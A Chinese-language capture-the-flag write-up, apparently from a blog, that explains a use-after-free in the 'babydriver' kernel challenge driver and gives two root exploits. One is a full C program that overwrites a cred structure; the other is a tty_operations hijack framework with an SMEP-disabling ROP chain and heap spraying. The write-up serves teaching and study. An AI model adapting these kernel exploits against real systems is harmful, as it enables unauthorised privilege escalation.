内核堆(babydriver的两种解法)
字数 1369 2025-12-19 12:11:52

内核堆漏洞利用:babydriver的两种解法详解

题目概述

babydriver是一个经典的内核堆漏洞利用题目,涉及UAF(Use-After-Free)漏洞。题目实现了一个字符设备驱动,存在全局变量共享问题,导致可以利用UAF漏洞进行权限提升。

驱动功能分析

关键数据结构

驱动使用全局结构体babydev_struct

struct babydev_struct {
    char *device_buf;
    size_t device_buf_len;
};

驱动函数分析

babyioctl函数

__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
    size_t size = arg;
    if (command == 0x10001) {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = (char *)_kmalloc(size, 0x24000C0);
        babydev_struct.device_buf_len = size;
        return 0;
    }
    return -22;
}
  • 释放原有缓冲区并重新分配指定大小的内存
  • 更新全局指针和长度

babywrite函数

ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
    if (!babydev_struct.device_buf) return -1;
    if (babydev_struct.device_buf_len > length) {
        copy_from_user(babydev_struct.device_buf, buffer, length);
        return length;
    }
    return -2;
}
  • 将用户态数据拷贝到内核缓冲区

babyread函数

ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
    if (!babydev_struct.device_buf) return -1;
    if (babydev_struct.device_buf_len > length) {
        copy_to_user(buffer, babydev_struct.device_buf, length);
        return length;
    }
    return -2;
}
  • 将内核缓冲区数据拷贝到用户态

babyopen函数

int __fastcall babyopen(inode *inode, file *filp)
{
    babydev_struct.device_buf = kmalloc(64, GFP_KERNEL);
    babydev_struct.device_buf_len = 64;
    return 0;
}
  • 分配64字节的堆缓冲区

babyrelease函数

int __fastcall babyrelease(inode *inode, file *filp)
{
    kfree(babydev_struct.device_buf); // UAF漏洞点
    return 0;
}
  • 释放缓冲区但未清空全局指针

漏洞原理

UAF漏洞产生

  1. 打开设备时分配堆内存并设置全局指针
  2. 关闭设备时释放堆内存但不清空指针
  3. 后续操作仍可通过全局指针访问已释放的内存

关键利用点

  • 全局变量babydev_struct被所有文件描述符共享
  • 关闭设备后全局指针仍指向已释放的内存
  • 通过堆喷技术控制释放后的内存内容

解法一:cred结构体劫持

利用原理

通过UAF漏洞覆盖新进程的cred结构体,将uid/gid改为0实现提权。

详细步骤

  1. 打开两个设备描述符
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
  • fd1打开:分配内存A,全局指针指向A
  • fd2打开:分配内存B,全局指针指向B(覆盖A)
  1. 调整堆块大小
ioctl(fd1, 0x10001, 0xa8);
  • 释放内存B
  • 重新分配0xa8字节的内存C(与cred结构体大小相同)
  • 全局指针指向C
  1. 释放堆块
close(fd1);
  • 释放内存C
  • 此时全局指针仍指向已释放的内存C
  1. 创建新进程
fork();
  • 新进程的cred结构体分配在内存C的位置
  • 由于内存C已被释放且被重用,新进程的cred与内存C重叠
  1. 修改cred
char buf[0x30];
memset(buf, 0, 0x30);
write(fd2, buf, 0x30);
  • 通过fd2写入数据,实际修改的是内存C的内容
  • 由于内存C现在是新进程的cred,修改其uid/gid为0
  1. 获取root权限
system("/bin/sh");

完整利用代码

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>

int main() {
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    
    ioctl(fd1, 0x10001, 0xa8);
    close(fd1);
    
    if (fork() == 0) {
        char buf[0x30];
        memset(buf, 0, 0x30);
        write(fd2, buf, sizeof(buf));
        
        if (getuid() == 0) {
            system("/bin/sh");
        }
        exit(0);
    }
    
    wait(NULL);
    return 0;
}

解法二:tty结构体劫持

利用原理

通过UAF漏洞劫持tty结构体的操作函数指针,控制内核执行流实现提权。

关键数据结构

tty_struct结构体

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;  // 关键:操作函数表指针
    // ... 其他字段
};

tty_operations结构体

struct tty_operations {
    int (*open)(struct tty_struct *tty, struct file *filp);
    void (*close)(struct tty_struct *tty, struct file *filp);
    int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);
    int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg);
    // ... 其他函数指针
};

利用步骤

  1. 准备ROP链
size_t swapgs = 0xffffffff81063694;
size_t iretq = 0xffffffff814e35ef;
size_t p_rdi = 0xffffffff810d238d;
size_t write_cr4 = 0xffffffff810635b0;

u64 ROP[0x30];
int i = 0;
ROP[i++] = p_rdi;
ROP[i++] = 0x6f0;  // 原始cr4值
ROP[i++] = write_cr4;  // 关闭SMEP
ROP[i++] = (u64)getroot;  // 提权函数
ROP[i++] = swapgs;  // 切换GS寄存器
ROP[i++] = iretq;   // 返回用户态
// ... 用户态寄存器值
  1. 打开设备并触发UAF
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd2, 0x10001, 0x2e0);  // 分配tty大小
close(fd2);  // 释放堆块
  1. 伪造tty_operations
struct _tty_operations tty_operations;
tty_operations.ioctl = xchg_esp_eax;  // 栈迁移gadget
  1. 堆喷tty对象
int tty_fds[100];
for (int i = 0; i < 100; i++) {
    tty_fds[i] = open("/dev/ptmx", O_RDWR);
}
  1. 修改释放的堆块
char buff[0x1000];
read(fd1, buff, 0x40);  // 读取释放的堆块内容
*(u64 *)(buff + 3*8) = (u64)&tty_operations;  // 修改ops指针
write(fd1, buff, 0x40);  // 写回修改后的内容
  1. 触发漏洞
for (int i = 0; i < 100; i++) {
    ioctl(tty_fds[i], 0, 0);  // 触发ioctl,执行ROP链
}

完整利用代码框架

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

// 保存用户态寄存器
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
    asm volatile(
        "mov %%cs, %0;"
        "mov %%ss, %1;"
        "mov %%rsp, %2;"
        "pushf; pop %3;"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
        :
        : "memory"
    );
}

// 提权函数
void getroot() {
    void (*commit_creds)(void *) = (void *)0xffffffff810a1420;
    void *(*prepare_kernel_cred)(void *) = (void *)0xffffffff810a1810;
    commit_creds(prepare_kernel_cred(0));
}

void get_shell() {
    if (getuid() == 0) {
        printf("[+] Root shell achieved!
");
        system("/bin/sh");
    } else {
        printf("[-] Failed to get root
");
        exit(-1);
    }
}

int main() {
    save_status();
    
    // 打开设备
    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    
    // 触发UAF
    ioctl(fd2, 0x10001, 0x2e0);
    close(fd2);
    
    // 准备ROP链
    u64 ROP[0x50];
    int i = 0;
    // ... ROP链构造
    
    // 堆喷和利用
    // ... 完整利用代码
    
    return 0;
}

关键技术点

堆布局控制

  1. 大小匹配:精确控制分配的内存大小与目标结构体一致
  2. 时序控制:通过文件描述符操作顺序控制堆布局
  3. 堆喷技术:大量分配对象增加命中概率

绕过保护机制

  1. SMEP绕过:通过ROP链修改CR4寄存器
  2. KASLR绕过:通过内核符号泄露或暴力猜测
  3. 堆随机化:通过大量堆喷提高成功率

调试技巧

  1. 内核符号获取
cat /proc/kallsyms > /tmp/kallsyms
  1. QEMU启动优化:添加quiet参数加快启动
  2. 调试信息打印:通过printk或用户态-内核态通信调试

总结

babydriver题目展示了内核堆漏洞利用的经典技术:

  • UAF漏洞的识别和利用
  • 内核对象布局控制
  • 函数指针劫持和ROP技术
  • 多种提权路径的选择

两种解法各有特点:

  • cred劫持:简单直接,适合初学者理解UAF原理
  • tty劫持:技术含量更高,展示了更复杂的内核利用技术

通过深入分析这两种解法,可以全面掌握内核堆漏洞利用的关键技术和方法。

内核堆漏洞利用:babydriver的两种解法详解 题目概述 babydriver是一个经典的内核堆漏洞利用题目,涉及UAF(Use-After-Free)漏洞。题目实现了一个字符设备驱动,存在全局变量共享问题,导致可以利用UAF漏洞进行权限提升。 驱动功能分析 关键数据结构 驱动使用全局结构体 babydev_struct : 驱动函数分析 babyioctl函数 : 释放原有缓冲区并重新分配指定大小的内存 更新全局指针和长度 babywrite函数 : 将用户态数据拷贝到内核缓冲区 babyread函数 : 将内核缓冲区数据拷贝到用户态 babyopen函数 : 分配64字节的堆缓冲区 babyrelease函数 : 释放缓冲区但未清空全局指针 漏洞原理 UAF漏洞产生 打开设备时分配堆内存并设置全局指针 关闭设备时释放堆内存但不清空指针 后续操作仍可通过全局指针访问已释放的内存 关键利用点 全局变量 babydev_struct 被所有文件描述符共享 关闭设备后全局指针仍指向已释放的内存 通过堆喷技术控制释放后的内存内容 解法一:cred结构体劫持 利用原理 通过UAF漏洞覆盖新进程的cred结构体,将uid/gid改为0实现提权。 详细步骤 打开两个设备描述符 fd1 打开:分配内存A,全局指针指向A fd2 打开:分配内存B,全局指针指向B(覆盖A) 调整堆块大小 释放内存B 重新分配0xa8字节的内存C(与cred结构体大小相同) 全局指针指向C 释放堆块 释放内存C 此时全局指针仍指向已释放的内存C 创建新进程 新进程的cred结构体分配在内存C的位置 由于内存C已被释放且被重用,新进程的cred与内存C重叠 修改cred 通过 fd2 写入数据,实际修改的是内存C的内容 由于内存C现在是新进程的cred,修改其uid/gid为0 获取root权限 完整利用代码 解法二:tty结构体劫持 利用原理 通过UAF漏洞劫持tty结构体的操作函数指针,控制内核执行流实现提权。 关键数据结构 tty_ struct结构体 : tty_ operations结构体 : 利用步骤 准备ROP链 打开设备并触发UAF 伪造tty_ operations 堆喷tty对象 修改释放的堆块 触发漏洞 完整利用代码框架 关键技术点 堆布局控制 大小匹配 :精确控制分配的内存大小与目标结构体一致 时序控制 :通过文件描述符操作顺序控制堆布局 堆喷技术 :大量分配对象增加命中概率 绕过保护机制 SMEP绕过 :通过ROP链修改CR4寄存器 KASLR绕过 :通过内核符号泄露或暴力猜测 堆随机化 :通过大量堆喷提高成功率 调试技巧 内核符号获取 : QEMU启动优化 :添加 quiet 参数加快启动 调试信息打印 :通过 printk 或用户态-内核态通信调试 总结 babydriver题目展示了内核堆漏洞利用的经典技术: UAF漏洞的识别和利用 内核对象布局控制 函数指针劫持和ROP技术 多种提权路径的选择 两种解法各有特点: cred劫持 :简单直接,适合初学者理解UAF原理 tty劫持 :技术含量更高,展示了更复杂的内核利用技术 通过深入分析这两种解法,可以全面掌握内核堆漏洞利用的关键技术和方法。